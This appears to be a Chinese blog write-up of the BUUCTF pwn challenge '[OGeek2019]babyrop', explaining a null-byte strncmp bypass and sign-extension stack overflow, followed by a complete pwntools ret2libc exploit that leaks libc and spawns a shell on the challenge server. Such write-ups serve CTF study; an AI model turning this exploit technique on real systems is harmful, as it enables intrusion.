首页 > 其他 > 详细

buuctf --pwn part2

时间:2019-12-09 23:02:44      阅读:210      评论:0      收藏:0      [点我收藏+]

pwn难啊!

 

1、[OGeek2019]babyrop

先check一下文件,开启了NX

技术分享图片

 

 在ida中没有找到system、‘/bin/sh’等相关的字符,或许需要ROP绕过(废话,题目提示了)

查看到804871F函数中有个ctrncmp函数,输入的buf与一个随机数进行比较。可以通过输入开头的字符为‘\x00’进行绕过,使strlen长度为0,则strncmp判定必定成功。

技术分享图片

之后的漏洞函数中,a1是我们之前输入的第八个字符,如果我们输入\xff时,则在read时a1会进行符号填充,那么我们就可以读入4294967295(-1)个字节,这将直接导致栈溢出,之后就行常规的ROP。

技术分享图片

 

 

技术分享图片
#!/usr/bin/python2
#coding=utf-8
from pwn import *

context.log_level = debug

execve_file = ./pwn
#p = process(execve_file)
p = remote(node3.buuoj.cn,28790)
elf = ELF(execve_file)
libc = ELF(./libc-2.23.so)

bin_sh_off = libc.search(/bin/sh).next()
system_off = libc.sym[system]

write_plt = elf.plt[write]
write_got = elf.got[write]
main = 0x08048825

payload = \x00+\xff*7
p.sendline(payload)
p.recvuntil(Correct\n)

payload = a*0xe7 + aaaa + p32(write_plt) + p32(main) +p32(1) + p32(write_got)
p.sendline(payload)

write_addr = u32(p.recv()[0:4])
libcbase = write_addr - libc.sym[write]
log.success(libcbase =>+hex(libcbase))

system_addr = libcbase + system_off
bin_sh_addr = libcbase +bin_sh_off

payload = \x00+\xff*7
p.sendline(payload)
p.recvuntil(Correct\n)

payload = a*0xe7 + aaaa + p32(system_addr) + p32(libcbase + libc.sym[exit]) + p32(bin_sh_addr)
p.sendline(payload)

p.interactive()
exp

 

 

待续。。。。

 

buuctf --pwn part2

原文:https://www.cnblogs.com/yidianhan/p/12012513.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!